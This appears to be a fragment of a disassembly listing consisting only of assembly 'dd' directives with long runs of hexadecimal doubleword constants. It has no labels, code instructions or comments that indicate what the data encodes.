		dd 2228C268h, 0CC0103Eh, 0C300BE81h, 0BAAF1D7Eh, 7CBB18Ch
		dd 0BB37910Fh, 678590F2h, 0A2184E24h, 9250F51Bh, 83F04077h
		dd 0C40A7971h, 0A00D90CFh, 6780391Eh, 72E02071h, 0C21118A5h
		dd 7EB8203Ah, 0E845A914h, 38B9F120h, 0EA0CEE18h, 0C12482E8h
		dd 784D3EC4h, 94BE8303h, 9309BCEh, 5A64211Ch, 3E340078h
		dd 11567B6h, 81F9BA11h,	8DDC0340h, 0EFE0D32Ah, 19B760F2h
		dd 34E51B98h, 0B8063203h, 180E39E9h, 20CBA008h,	0E50063F5h
		dd 10E23BD6h, 28BB384Ch, 0C8C7612h, 61349B1Bh, 4928DDA1h
		dd 367C9CC3h, 1135A18Bh, 0B487218Ch, 960B99A9h,	80333D90h
		dd 1968D995h, 0B8900CEh, 0B6D3A40Ah, 41079EBFh,	3985D37h
		dd 4E8BEA10h, 8C41D028h, 4A00E323h, 56836D78h, 0A9208690h
		dd 435900D5h, 0D21D5278h, 9B006076h, 2192E620h,	80E27Ch
		dd 0E93A6463h, 1D51D24Ch, 4581860h, 6050AF24h, 5D2A69C1h
		dd 0E7039F3Fh, 4CB49E57h, 33083058h, 3FF50121h,	2FD0D301h
		dd 5E1AE939h, 0C19C5882h, 0A8A0B455h, 786B958Bh, 6C63B90Dh
		dd 8AF0A0FFh, 568100FDh, 182E2811h, 8CCF069h, 2EBD2188h
		dd 11281E5h, 4BDD4635h,	9BA6CC71h, 0B0C21DDh, 0F77089D3h
		dd 0E5E43D8h, 22BE0987h, 0FC428B54h, 1430A4F2h,	4E8977D7h
		dd 41B681B9h, 0DB502081h, 0C04C8A29h, 0B5BC6306h, 0B3F13058h
		dd 0F8319D41h, 0ADD68D0Eh, 79504C63h, 2A1B90B8h, 464C94E1h
		dd 0E57202F4h, 310E324Dh, 1AF810A1h, 3D6502E5h,	5F033358h
		dd 0E37E2C46h, 3FC1C200h, 0A0FBDC1Fh, 0FC543AB5h, 0A3091980h
		dd 0B124DD26h, 0B97BB80Ah, 0FBC0C075h, 46115081h, 177522D8h
		dd 81E453h, 0DA62F16Eh,	8901B2FFh, 7F0294AAh, 2980EE63h
		dd 97128480h, 3500C1C4h, 76DAA88Eh, 2A0C3DFh, 2EEA33BAh
		dd 24624D3Bh, 2192E004h, 6A10CC34h, 52335AFBh, 0E8ED1164h
		dd 1F1E4E2Ch, 43211DEBh, 2FB01105h, 0F3AB6AF8h,	38A05C03h
		dd 9836DC8Ch, 159E40CFh, 8C0D875Ah, 4F3D0071h, 53A71D07h
		dd 17297166h, 2A809CFDh, 9E64F004h, 0BCE50F8Dh,	0C740B7FBh
		dd 0C327E3ACh, 2EB20B0Eh, 5C4613D3h, 1B9FD63h, 0F6084335h
		dd 20622ED9h, 0E8CE7CCh, 83697836h, 17669588h, 0AF650021h
		dd 6970F477h, 504AE2Ch,	4D4E601Ah, 23D16882h, 31000187h
		dd 96080770h, 78221A1h,	0C043C14Ah, 5094710Dh, 0E0331262h
		dd 0B37AB9h, 69883640h,	0D6CC07FAh, 30657303h, 3CE933F5h
		dd 0E00064C1h, 92D34A2Ah, 0D904620Eh, 29B78D1Ah, 515900C1h
		dd 3F5C530Ch, 4726A2h, 0F4034C4h, 0F8D23FEBh, 488CE61Ch
		dd 6C6924F8h, 0B47D3840h, 0F70D1E64h, 94E515EDh, 1B783480h
		dd 448C6683h, 0AD005F13h, 0FBD97B77h, 182637A5h, 416751A0h
		dd 60009996h, 776CEC14h, 245D19DDh, 8098B0F1h, 0D131C5EEh
		dd 5904378Ch, 1F8F4342h, 1B3FCCC1h, 86440805h, 23D03142h
		dd 29E8954Fh, 4024A04Ah, 465ED4CFh, 7B260EA5h, 0F2C91882h
		dd 972700F6h, 0BAA9C27Eh, 100183BCh, 29EB99E5h,	29800287h
		dd 0C952988Ch, 0AFFECFCBh, 3937FD06h, 44B8EC17h, 7608215h
		dd 1859D931h, 0FB4800F7h, 62FFF2E3h, 0E901F8B0h, 5E74900Fh
		dd 90325243h, 0CCD9D800h, 75C9ABDh, 0B4CFC12Ch,	0D5A82174h
		dd 7E0A999Ch, 8B868888h, 264119E4h, 43F81301h, 593ECD39h
		dd 7C701A4Ah, 0F67C4131h, 0E5097418h, 9C1E324Bh, 1CF600C8h
		dd 5373BDE5h, 0BE58C791h, 0FA7160C0h, 156B5A69h, 3048F13Fh
		dd 6D01E923h, 56324AE5h, 0F380F463h, 4B4EE575h,	0ADED9E01h
		dd 6962F22Fh, 524AC984h, 260E40D1h, 0E0CA8EFCh,	9CDA0004h
		dd 0E68FF02Ch, 0A5003706h, 0D295F3D7h, 167E6E4Fh, 8536F28h
		dd 0E1C01F78h, 46115281h, 8222C8h, 9D81E9A9h, 8B7F1CD9h
		dd 57386405h, 4C2EB0Dh,	1C4A2CAh, 80708F04h, 35D36A8Dh
		dd 0ABD90FADh, 3E96CCB1h, 2123E4h, 2BA0F7A6h, 9318B25Bh
		dd 3448CC56h, 52048651h
		dd 0FE7FE3Fh, 103908CEh, 0A0253F81h, 60E50615h,	0F88EF38h
		dd 23EB002Dh, 0A235A352h, 6E0041D3h, 89CC038Dh,	1C7D6F3Dh
		dd 164F672h, 0E036D64Eh, 80F44411h, 23708F9h, 0E1448F0Ah
		dd 1F00D9BDh, 503144Dh,	0A0CCF41Dh, 7C1680h, 13BB44Fh
		dd 6DA570D9h, 6913CD00h, 0D8E2EC44h, 143A00D7h,	3E8EE39Fh
		dd 3000BFB5h, 175E42C4h, 0AF579FFh, 5948B9ABh, 0D9740097h
		dd 5890112Ch, 0ED0069E2h, 1FFB0C20h, 0A0F69Dh, 4CCC717Bh
		dd 9F3AF1C3h, 9709AD00h, 4058EEBDh, 18190042h, 228A7970h
		dd 0B500D617h, 1A145EE5h, 7E3A85A0h, 41C013E0h,	4B6F00BBh
		dd 9E6A696h, 87C6D400h,	5328326h, 78BEC40h, 81180157h
		dd 0E3893047h, 8860C749h, 61C4F641h, 1D70003Ah,	25DAA18Bh
		dd 0DF61A593h, 173FB381h, 7F78CCh, 8D06B0A6h, 0CFA5E652h
		dd 0CDFEE100h, 0EA7C2BF2h, 3AF003C3h, 94D5C631h, 0F50518F8h
		dd 624C8B71h, 0F2C80051h, 8E6912DDh, 3A87F8DEh,	0F7B06CC3h
		dd 64EA7D40h, 0C1917B00h, 9F66865Ah, 0EE5500C4h, 0D8986367h
		dd 5FE6E3CEh, 0C3DA000h, 3EBC619Ch, 0F1761C9Ah,	80668F72h
		dd 91E64F20h, 180063A9h, 0DFFCB7FFh, 0A01C029h,	8CEF7EFEh
		dd 16DE00E0h, 0BB58756Dh, 0F46FDF00h, 77A84D0Fh, 62A0002Bh
		dd 0C1B89F86h, 0AA016AFFh, 0FA0E98CEh, 20179Dh,	0D1ED0097h
		dd 4741013Dh, 0C0C0162Ah, 0BF8770Ah, 0DD38051Eh, 0C0FF24C6h
		dd 9D668F6Bh, 0F081D800h, 96C1DC42h, 0C09E545Fh, 0FD1C01B6h
		dd 8992FB75h, 0DA2020BDh, 8C5C1D1Dh, 0E5A58500h, 72B028Fh
		dd 0BA281C58h, 7FDFE738h, 0D641FA40h, 30010BF2h, 0F903A0C6h
		dd 13616544h, 79028089h, 2BABF600h, 4B00619Bh, 76460B5Ch
		dd 5D0A13h, 8909AB8h, 3E41E680h, 100A098h, 718F6B5Eh, 1F2492C9h
		dd 478DF27h, 0C00C419Ch, 0E6DEE0DAh, 0E2BB081Ch, 8083E7C0h
		dd 0DD30C2CEh, 3B007B40h, 31073C78h, 130F618Eh,	944B55h
		dd 0F6209CE8h, 97DE0095h, 0F8C07C6Ch, 66121BD6h, 80010A75h
		dd 0F4303C48h, 43AD2030h, 3F570750h, 0C418E7FDh, 0EF1340D8h
		dd 3F5DBA3Fh, 0D00006C1h, 33E3A020h, 0E613DC3Dh, 0AC0814CCh
		dd 81FAC060h, 0C0461151h, 4400EE22h, 648581E3h,	7ADE3Fh
		dd 7084D929h, 8EE4E983h, 82384B05h, 2C2B7BA6h, 36017423h
		dd 0B5822F63h, 0C94C64h, 0B28EB913h, 5D414901h,	0A87AC007h
		dd 15F0AD07h, 1E3AA77h,	0E04884BCh, 2CDC8D70h, 74070090h
		dd 5BB6B794h, 11A5091Eh, 0A4C0301Ah, 7F090343h,	0C0D4571Dh
		dd 0F8108D8h, 2A8D11E8h, 8025D686h, 0F13DAB81h,	0D48C3103h
		dd 0A30148ADh, 3775CAB1h, 61CC41E1h, 0EA20C084h, 0AFF435C4h
		dd 11204EE1h, 0DD824B0Ah, 0B4C1DC31h, 86918F5h,	763236E5h
		dd 121BDC6h, 0F6E511F7h, 0E393B9D0h, 272CEFF8h,	0AA875512h
		dd 0C10464D3h, 0F06F3A5Ah, 1D00E24Dh, 0C0E18CD9h, 0A223F847h
		dd 55B41890h, 12703D68h, 0A53BB80h, 0DA258F8Dh,	0C5BA1900h
		dd 0D63DAA9Dh, 4D8A0099h, 159BD42Fh, 489C3945h,	74737085h
		dd 0BA9E5C93h, 99DD6031h, 2F9B301Ah, 944FB8B9h,	0A00CE61Fh
		dd 0D73064C7h, 0B5532AF0h, 39920054h, 28AB80FAh, 2F1DA4D1h
		dd 0DF001A8Ch, 9B1B5D19h, 49356530h, 145C0087h,	5FBFA5C0h
		dd 0EB0B1A01h, 0F1D273E5h, 0BD58FCh, 39AF46A7h,	72481287h
		dd 7FA7F16h, 0ECDB6A00h, 170B279Eh, 23E28C5Ah, 30EF9BBCh
		dd 0FE688E9Dh, 0E90BA9B0h, 90BA538Bh, 40A90518h, 666F51CBh
		dd 0F0858391h, 0DD1FF887h, 0C5777FDh, 0A384AC15h, 0BC3C2539h
		dd 14620747h, 1B40FC70h, 7AD939h, 633C9DDEh, 71CD5C64h
		dd 0FF2D5373h, 11330075h, 3045AB0h, 67341EF9h, 15D8D34Fh
		dd 5800617Dh, 7B77BB8Bh, 75232556h, 184279C6h, 38833CD1h
		dd 0A77AF6CFh, 0D908176Eh, 83E80621h, 0D27000D8h, 4DDCC2Dh
		dd 7E02F409h, 0DAE85010h, 0F1BB616Eh, 850C308Fh, 30B031A3h
		dd 299094D8h, 0DF090700h, 8D42567Dh, 2A0A11F1h,	0C9B1EA6h
		dd 31F41A81h, 0FEDF1672h, 21F06108h, 0D48D3566h, 7E00900Dh
		dd 926573EAh, 0F662C702h, 0F75730CDh, 49439A90h, 6EF1B0C1h
		dd 4180BAC0h, 25D488ACh, 706FD685h, 74298421h, 0D8008C5Ah
		dd 3C5BF832h, 8490F006h, 3308778h, 0C2F6089h, 64E077C5h
		dd 18C0E015h, 4E36BBB4h, 0A251C043h, 893C84B3h,	52258303h
		dd 0A32666C1h, 0D5210057h, 55DD854Bh, 53301F23h, 989B195Ch
		dd 266100CAh, 0DBA2ADD3h, 3500C3FAh, 739FDD64h,	67C5305h
		dd 3B08FF56h, 3CC0886Eh, 2826172Ah, 0E7DF5CCCh,	0B3912E00h
		dd 96D1AECBh, 7A783100h, 73205561h, 0C9B60FDCh,	760F722h
		dd 0A7906C76h, 8770300h, 14066321h, 0E8D8032Dh,	4530553Dh
		dd 8ABF6798h, 77C3D500h, 4073A7F5h, 32700025h, 7F62E3ECh
		dd 5500FB9Bh, 0D6BE503Ah, 2CAAE60Dh, 1771584Bh,	0D118FF35h
		dd 3EEDB920h, 0D2003FC8h, 43232DEEh, 12007A62h,	5E870ECCh
		dd 0E75FC6h, 9295C58Ch,	132EB6Ch, 0E61E5303h, 0E4C6CB9Ch
		dd 332D80EEh, 46603E21h, 0A43DB158h, 0CC23005Ah, 5C34DDC5h
		dd 0B00254Ah, 95810E5Bh, 0C2B7C13h, 9D5AA643h, 3961AA48h
		dd 714787E1h, 0DC0048BCh, 0AF1194EEh, 2860214Bh, 0DE7E8F61h
		dd 323B02B3h, 0A624EBA2h, 9AC203E2h, 0FAA30F80h, 400099Bh
		dd 85376462h, 353B543h,	0E9550EC7h, 0B7B81E4Ch,	670E465Ch
		dd 414D45C4h, 24C39736h, 0AA044Bh, 0FDF8C263h, 0C0F242FCh
		dd 6C620C18h, 3C008DCFh, 358BBC6Bh, 0E3642Fh, 0CBFCBA5Eh
		dd 6DC388D1h, 2906F531h, 2EAA127h, 0B02F9E70h, 48018084h
		dd 9FD64213h, 28482325h, 840F9044h, 0A748EB79h,	2EB3F480h
		dd 0E529D5h, 199B1785h,	0D1F32AB5h, 0F660EC27h,	592C00FEh
		dd 83F81DF1h, 0CFD08F00h, 0E73328BDh, 0B87C3CBEh, 819FD300h
		dd 0F8070F19h, 0C4A39000h, 526C49E1h, 0E004256Dh, 2F008CD4h
		dd 4C1EB1ACh, 0CE16007Fh, 0FA0BA37Dh, 0BF26C956h, 910244F8h
		dd 0C0F69454h, 0F39802h, 35463A10h, 279B44ACh, 1C1B91Eh
		dd 167E1A00h, 727ABDh, 22AB8468h, 0D83D5A71h, 0F4E7903h
		dd 90C0B60Ch, 0B64D3A5h, 0B440050Eh, 404C1F05h,	4530CDCh
		dd 2207B884h, 0A3F126DEh, 2A157E30h, 5E6F0346h,	0A07BC98Ch
		dd 0CB3C8003h, 91B25BDDh, 0C8FDD0A9h, 9A4800F3h, 7041745Dh
		dd 0A023F30h, 8880A3D5h, 58760D8h, 29AE0114h, 0DA41710Bh
		dd 0ECEFF117h, 0D401E42Fh, 5B6E7032h, 0F9F4A493h, 0AD1B1F5Fh
		dd 0D164D1h, 0A3701FC4h, 403EF83h, 8D08F438h, 0BAA00010h
		dd 0BDF8C581h, 950C96B1h, 7EC64DE4h, 0CE8A0048h, 11401956h
		dd 3000C133h, 4999A865h, 0F0ECF85Eh, 0D2FA0094h, 20F4CFCh
		dd 0A80048A3h, 0CC6F498Ah, 79BB4E87h, 0D901007Fh, 6B0EF49Dh
		dd 5006220h, 0B987E21Ch, 0A0BAEBB7h, 377BF80h, 0C27F9BE8h
		dd 63E82C9Dh, 0A50F855Eh, 40C7FC38h, 1BEC5D02h,	0BCAE007Eh
		dd 9642934Fh, 47E2B873h, 41868300h, 0B2924D80h,	66B002Bh
		dd 57F6A413h, 180F19A3h, 497D8FA9h, 0C510095h, 19C9DDCh
		dd 3A842BC1h, 602AF880h, 0B30A5976h, 907B5AC6h,	3C000F17h
		dd 6A80BD36h, 0DE6800F9h, 0C6CEBB6Fh, 3E061DBAh, 0C5310812h
		dd 42240CFEh, 234063F5h, 48184F3Eh, 0B81A3AECh,	640BF9B6h
		dd 75BEE04Ah, 74AC1900h, 0C9007004h, 6E0F7351h,	4C56851Bh
		dd 0D83DE05Fh, 9559AD80h, 79A8D9E8h, 17DD9C00h,	8EF336C9h
		dd 75724ACh
		dd 9B2E0008h, 0D499D9EDh, 5DE8CC00h, 0A1C240E0h, 0C8136145h
		dd 0DB52771Ah, 2F6C75D0h, 0E0E11028h, 0AD036D07h, 0BF7026EEh
		dd 663AFAh, 405D0814h, 0EBCE0441h, 3200F8E8h, 24BF6BE3h
		dd 9285B8h, 45C75AFCh, 0ACE9B659h, 5CE8DC6Fh, 0F45C6903h
		dd 0AD10E8AAh, 4E130015h, 1255BD62h, 4001166h, 30DBCCF5h
		dd 54379Ch, 0EB60505Ah,	53789133h, 1A645B0Eh, 98842099h
		dd 0E2747Bh, 72B23051h,	0A959C1C0h, 0CAE86500h,	0FD99B32Ah
		dd 38E1F603h, 27852409h, 837E705Bh, 0CE8025ACh,	400863Dh
		dd 0C4B122CAh, 3A64A621h, 0BD813B93h, 5E7ECF14h, 0ABE0FA74h
		dd 0F300DA73h, 0B97CB0E5h, 0B84EAC31h, 69E600E7h, 3A34F214h
		dd 0BB01769Fh, 0B97F48F8h, 90F3D15Bh, 0F2F5371h, 69F7B0Dh
		dd 0C0601D33h, 0CD5815B1h, 0A50030DAh, 0C4201146h, 904CB8h
		dd 357CA240h, 446FCB0Bh, 42F2CD00h, 0A5600484h,	85F70092h
		dd 0E7FB4641h, 0A2E4C253h, 4E9D2D01h, 0F919E23Ch, 43A3E8EFh
		dd 37090042h, 0E41DB57Bh, 0A05E1BFh, 3614120Eh,	2840E5C0h
		dd 0F9E0069h, 0CFF45FA6h, 9D07E171h, 0A4626319h, 0E3A000CEh
		dd 1C3AB9Ch, 20E6B9AFh,	0F88DCDFCh, 2C00CFB3h, 74DADBD7h
		dd 0C8AE18h, 0F901D3FBh, 27EBC4E5h, 0C001E872h,	868FCF91h
		dd 66E8DF74h, 0A2A90587h, 0C2D842h, 51E9DC88h, 7C077FB7h
		dd 2FAC91FFh, 432227DFh, 421F3900h, 0B569000Fh,	476455E3h
		dd 1A00D80Ah, 0A8F62B26h, 3BDC67h, 0AC7D826Ch, 0DBB3A0B6h
		dd 6E013C90h, 78255B70h, 61D40A17h, 90389241h, 4AF600ECh
		dd 33C94BA5h, 8CC00F27h, 1C64B657h, 3D2F1E8Fh, 50B70034h
		dd 6175ECF6h, 1B31DD12h, 560C3C00h, 76EED1Dh, 0D06F1F0h
		dd 504640DEh, 8E1CD0ABh, 93933BF7h, 67355440h, 3F0D596Dh
		dd 39072615h, 0A7341769h, 9CE471E3h, 71188014h,	1E1A0191h
		dd 5581186Bh, 0FF0594E7h, 0E3034400h, 7C7A1DDCh, 9F02013Dh
		dd 23A486C2h, 0CF89C80Dh, 0FD00E47Ah, 0A5ACA808h, 213C56Eh
		dd 0D0AE8FCBh, 28C86336h, 34000412h, 83A80F1Ah,	4BC0192h
		dd 64DE3A09h, 5728C3E2h, 4FBB48B8h, 0E40855E4h,	4065BD7h
		dd 0C0C324E8h, 7E4D0B30h, 3F614B16h, 0D075C500h, 33D018Bh
		dd 0D341995h, 0CAA3990Fh, 1BB3B7C0h, 0AEA8573Ah, 0EF8268F6h
		dd 0E0A280F5h, 0F12E170h, 0A4A02DF4h, 41E2F987h, 0E42F7838h
		dd 0DE7CAEB0h, 1DCD001h, 0BBE49727h, 38E7E860h,	0F080B4B5h
		dd 0E03E3220h, 4B000E09h, 47B7A6B0h, 0F6BE57Bh,	5BCD22Ah
		dd 8DB672A0h, 7F002D7Ah, 0BA3A0B58h, 8F8CB7h, 0EB9A3E52h
		dd 2D4F2BFEh, 652CCA00h, 5185DAE4h, 0BF2A0FEFh,	0C1800B1Ah
		dd 3532A34Fh, 24CE1000h, 7F435141h, 23FF00EFh, 668D852Fh
		dd 2B7C4D08h, 683D5BEEh, 0E8BCB01Dh, 0E6B47AD4h, 5DF0002Fh
		dd 9E06B342h, 8F28167Dh, 6C3C8A72h, 6E82809Bh, 0CEC461E6h
		dd 0E3280F73h, 0AD408C7Eh, 4D3250FFh, 8912DC3Ah, 1ECA67h
		dd 0A9A3EE1Ch, 14BAEBh,	0BDDA59CDh, 0AE06D3F1h,	7177F900h
		dd 0AF43BF79h, 0CC8E00B8h, 3856838Ah, 2B485298h, 95F000Ch
		dd 0DD01CD17h, 6570B51Dh, 60026E8h, 0A09E056Ah,	162428F8h
		dd 0F4CA5Ch, 391B8476h,	0B070170h, 685967Fh, 3DB75680h
		dd 0EF7401D3h, 0ACA3EBD9h, 746FE109h, 4C04C2D8h, 0B45B1596h
		dd 2B603890h, 9A690078h, 0B528F331h, 761EAFF0h,	0C802A616h
		dd 400A130Bh, 0FB3B7F40h, 90EA2EF8h, 91E70F50h,	740E6380h
		dd 0D40B20C0h, 5E00A164h, 89C2F4E8h, 4A683833h,	0B9A40486h
		dd 4044A0F8h, 1590BA00h, 8E1DCA31h, 0DB9826E6h,	398202Bh
		dd 9CF0DD0Dh, 0E7E89495h, 0D53D81ACh, 0A3C4802Fh, 0E19EBFECh
		dd 24323C64h, 0F6AD01FFh, 9B52E506h, 0BC1182D9h, 80E18BDCh
		dd 0EAF7D6A0h, 5CDAE696h, 0C500F8D0h, 8D54ECE8h, 700F3145h
		dd 387F235Eh, 0BD28AA9h, 0ACBFC02Bh, 0A0937D00h, 0BA066959h
		dd 0BCF381AEh, 6B78C8h,	0DCD60BEAh, 67155D5Bh, 0F09F4407h
		dd 7F1353EBh, 0B074B8h,	0DD7325Ch, 961C8665h, 8EE5Ch, 5E476909h
		dd 70158Ch, 4E74A266h, 99E7775Dh, 6707BFF0h, 0C22A9162h
		dd 5B5501D0h, 29582428h, 424A3C18h, 1FE13870h, 5259C80h
		dd 0EB3AE5A9h, 7893CC57h, 0F770E800h, 5628D2B8h, 0A38F0023h
		dd 9AAEC04Ch, 0DF00311Eh, 0F0D86B4Fh, 0A009DB42h, 4DC969F4h
		dd 0CA260866h, 98DD019Ch, 0F4B8FA05h, 0CE306335h, 0C59021D8h
		dd 316B3DF8h, 50189780h, 0DADEC1BDh, 829CC23Ch,	9978B4A2h
		dd 9478E01Bh, 0D2290FF7h, 0F5E0AE71h, 2392ECE6h, 52A63700h
		dd 702496B3h, 0DC333CE3h, 7D79ACh, 0A3E67B26h, 990ADD7Ch
		dd 0A8FBD61Dh, 0A9C0681Dh, 0AFAD1854h, 0B26F00B1h, 7C0CCE31h
		dd 0CBF8478Eh, 33EEE600h, 46828A94h, 4E57166Dh,	0EF12007Dh
		dd 8C4408C9h, 6E95FF00h, 0A47739FDh, 72F203C1h,	0BA851343h
		dd 0DAD659E8h, 90F43Ch,	2944A4F1h, 0B58266C7h, 0A5008DF8h
		dd 86F3D01Ch, 0E246E6h,	28FC4B36h, 0B0D5D93Bh, 93B54D03h
		dd 0A3D3EF67h, 4080C4A1h, 5F7C9Ch, 43D73908h, 0C7603337h
		dd 9DB3FC38h, 94683C61h, 266F2200h, 68A6FA07h, 0A83F0183h
		dd 0C20C419Fh, 0B5C4245Eh, 0C58B8507h, 179001DFh, 3AAE331h
		dd 55ADDEEEh, 38B04BBCh, 4002263h, 5CF3B3C1h, 0FA26A592h
		dd 273A0053h, 3D8ABFF7h, 34FA5644h, 0A93058E8h,	87A4A81Fh
		dd 398931DDh, 0C8EB8A28h, 573EB08Dh, 0C3910FF6h, 0E6FEA0A3h
		dd 3F4B378h, 282BE8C6h,	89B1B8B7h, 2EDC62EAh, 8039F00Bh
		dd 79E2CB4Fh, 2412D0Eh,	891A8CC1h, 0C2C05F91h, 860151B0h
		dd 0FAD6F456h, 7FE0C737h, 1DC7F82h, 3E3D6CC9h, 0E8FBBC22h
		dd 3001CF1h, 0EAD94997h, 48C52E9Ah, 70F36Fh, 552A8F61h
		dd 3EC099D4h, 37814400h, 30F6B98Ah, 412C01FEh, 9456A622h
		dd 684DD443h, 137DE609h, 0DF1801F5h, 81D4A863h,	7E46003Dh
		dd 0AD343632h, 23001F62h, 6E2CEFA6h, 173EFA80h,	0AECABEE1h
		dd 0F4405D1Fh, 12810E0Dh, 5C8709B5h, 24E0018Fh,	4E014B96h
		dd 0B4623949h, 0C1F0D770h, 946A382Bh, 0DAD50A80h, 0F112CBFCh
		dd 6051C82Ch, 0F0008312h, 0F745F678h, 27A80034h, 0A3C55DCEh
		dd 860199D7h, 8594D140h, 19808479h, 0DCC4EB70h,	0F5007CBBh
		dd 0F6A2F036h, 0E0899B77h, 16080027h, 47C51B78h, 0AA004083h
		dd 0A4A18A32h, 16301390h, 82C75524h, 1CC4C810h,	9DACE000h
		dd 0E4029FAFh, 0DF7E00ABh, 2E7858D3h, 0CC003C79h, 7CD96EB2h
		dd 1E3EF96h, 6DF8BA49h,	0E4A5F4D8h, 0CB001439h,	0F90BDE06h
		dd 80686Eh, 706A37CEh, 28ECC97Eh, 34EF4F0Ch, 7FD03008h
		dd 5BAF24E7h, 3FBF001Ch, 0C41F1298h, 0A2723A00h, 0D8D7D15Dh
		dd 817D00A8h, 8AAB96FCh, 3A00BF52h, 0E71D424Fh,	543746h
		dd 1B29FBC5h, 56382D5h,	0C6200D00h, 4DCF12A3h, 96BE0055h
		dd 0DB6050F6h, 0A6003E38h, 0AB2BF20Dh, 0E454E62Dh, 77FF0362h
		dd 589B6FBCh, 49152AE0h, 7A935A00h, 4CC3E670h, 0F978009Ah
		dd 0BB3E64E0h, 0E41EA0ADh, 28F0A5EEh, 4AB579h, 9B1B77DFh
		dd 1F08648Ah, 0D9ED6500h, 36933467h, 0BAB10052h, 0A52088E4h
		dd 0F5049F9Bh, 97E6E274h, 0B4B800B3h, 536C0086h, 977796F4h
		dd 9407AD36h, 207AFD91h, 0B4A0E984h, 0BEB9000Ch, 6682D335h
		dd 343BC658h, 0F8AD0067h, 1E8D740h, 7A824B7h, 0B66C0044h
		dd 0FE255E71h, 0C1E65A14h, 0CE5D0BB4h, 0FD0580E5h, 3085350Bh
		dd 213004E0h
		dd 42095552h, 0FD34D701h, 0F4B81300h, 0B040892h, 0EA07772Ch
		dd 10DA4C92h, 120392C2h, 99E60560h, 0C0A7F2AAh,	14A8D4Ch
		dd 4217158h, 246432BDh,	36060344h, 0ACDF2A57h, 2F381628h
		dd 5CF4034Bh, 198E01D1h, 60A17200h, 0B820A9BDh,	4D4303A7h
		dd 230DCEC6h, 0C4B7CB88h, 29092604h, 54C141E6h,	14FCFFC9h
		dd 1FC1265Fh, 0BFCE00EBh, 20F7EBB8h, 0C0883558h, 0B257FBAAh
		dd 2818003Fh, 0A8D7EE5Ah, 2300AE09h, 81D9117Bh,	3C949B88h
		dd 0AF002FF5h, 0EC1BB7C0h, 5D004C40h, 6153EF8Ch, 976D80Ah
		dd 4DDA04E8h, 0F8643400h, 0A2078245h, 132E674Fh, 0E21FBD30h
		dd 0C2BA1586h, 0E312A0FFh, 0C6708003h, 0EA247029h, 7902D857h
		dd 0C01F98C7h, 3BC3B9A7h, 103DE23Fh, 0BA469F00h, 0B05C947Fh
		dd 582BE00h, 575E49ACh,	0A21A00C4h, 0BF6A7D4h, 174FC5CFh
		dd 3480EC35h, 0AEFADCh,	59720C18h, 17526A25h, 87030374h
		dd 40CE21D4h, 2B67F002h, 0F9E83DAFh, 93E0E500h,	0A97A8294h
		dd 0D88ECE03h, 0C8DCDBC1h, 0F4F3056h, 0F492C8C9h, 54C04DCFh
		dd 0EA24FDD6h, 6E527E14h, 0DA7103F8h, 908E53FFh, 16C402h
		dd 0EF89448h, 85F632F5h, 9B6A090Eh, 0DC9DDE88h,	989E1744h
		dd 0F4DDC8C0h, 0EB210025h, 0E27E623Bh, 0E90732DFh, 0A7F3D657h
		dd 90C309B3h, 1E93AF0Fh, 80F2E6ECh, 24C7598Fh, 0B60057CBh
		dd 0D9A670E5h, 1BF7DEh,	9F442E8Ah, 30A1E3Ah, 8D57F600h
		dd 0D7236DA4h, 14AE00CCh, 15A81660h, 6900E29Dh,	9F594C1Eh
		dd 25512AA4h, 9CF84EC5h, 0F6A8500Eh, 0AE028001h, 38B5639h
		dd 74C734F1h, 0C4F14F75h, 0D003E4A5h, 22BCCA00h, 987D4960h
		dd 76537502h, 4E3A07E5h, 0C71C7B2Bh, 0DED0B03Eh, 49B06B9Dh
		dd 6E513900h, 0EB3D83F8h, 0F1F20086h, 3F81DB27h, 0FF005A97h
		dd 800E38EDh, 61B63Ch, 0C90F56Ah, 0E711A8A6h, 257D2C18h
		dd 0D0526861h, 0B003E908h, 0A0C95D9Fh, 0B68AA9A0h, 80E718C7h
		dd 0C3B8B9Bh, 0B8108Dh,	40ABE9Fh, 5467477Ah, 5CA2C61Eh
		dd 59E5FCCCh, 1E2AF521h, 0A054031Dh, 603FD105h,	87610C25h
		dd 1AC2909h, 5CEE470Fh,	0E3628C53h, 540801BDh, 83CB524Fh
		dd 0DEE71F70h, 30029D4Ah, 0F81FECFh, 72D5471Dh,	4335C776h
		dd 8800FF48h, 19813EF4h, 0A2CC2Bh, 3DDA6C7Eh, 52E40C02h
		dd 82962D00h, 5C2B133Ah, 0B4BC001Ch, 0BAF5729Fh, 54002CDFh
		dd 5DCA5832h, 11AD62h, 0FCF0C5B0h, 0BF5AABC4h, 9A48AA00h
		dd 59619E4Ch, 0F9A0079Ch, 1095BE47h, 0BD4F22ECh, 0C8CFC900h
		dd 4E4C7B44h, 8CA50F71h, 96A03770h, 0C2A9FFDEh,	0D02A7336h
		dd 63048FD8h, 110086F4h, 0C8AFB094h, 0C93453h, 631DB131h
		dd 39A003D4h, 350BB3Eh,	382201CBh, 94AFE759h, 16643ECBh
		dd 0CBFFC4Dh, 48598CD8h, 0DF28490Ch, 42D150CAh,	0D67D0669h
		dd 0A29B8D3h, 2E40CD2Ah, 0E9A200ACh, 67304CC1h,	6E3A807Eh
		dd 917B00CFh, 0A0B68C5Bh, 0F6B9C34Ah, 0C1227CDDh, 0E15A0C54h
		dd 65194C47h, 0F8886800h, 67442650h, 707B5361h,	6370D10h
		dd 3F853351h, 31FF742Ah, 0E0E82D40h, 6303003Ah,	5C3E0042h
		dd 81E4D125h, 0B344D2D6h, 0D43C158Eh, 3E804C54h, 803A6485h
		dd 3D2C8103h, 14261330h, 0FAFAA8A8h, 6B069442h,	0A945E888h
		dd 7DFD5426h, 42293831h, 0D59D5980h, 3751A7Dh, 0AF59A400h
		dd 0DB0FE4CDh, 181400CAh, 1193CF84h, 5F00210Dh,	0F249B06Fh
		dd 125D4EA1h, 2B1FC8Ah,	8DE8D618h, 20B9F422h, 41A45C19h
		dd 2866E200h, 4AB4B5F2h, 0E37EAFh, 0AC587762h, 5D59C420h
		dd 1CE76C28h, 8F1CA300h, 0CE71848Ch, 37A43915h,	3F03DD00h
		dd 0CB499CE3h, 32FC282Eh, 5CFAD400h, 0EAA16602h, 0F5C9071Ch
		dd 0C0D152A8h, 0DB4F648Ch, 87E6B73Eh, 0DD65A45h, 52D7002Eh
		dd 2213751h, 54E6D89h, 0BC1C503h, 407BD9D3h, 0C3B52A8h
		dd 0C9AEDD07h, 0E6137FE2h, 0C56788A5h, 359F1C2Ch, 8415022Dh
		dd 0C660FB8Bh, 903ABB31h, 21D07569h, 6DE30793h,	8410717Ch
		dd 0C17792h, 3857E79Ch,	33257822h, 0CD07F702h, 40202D32h
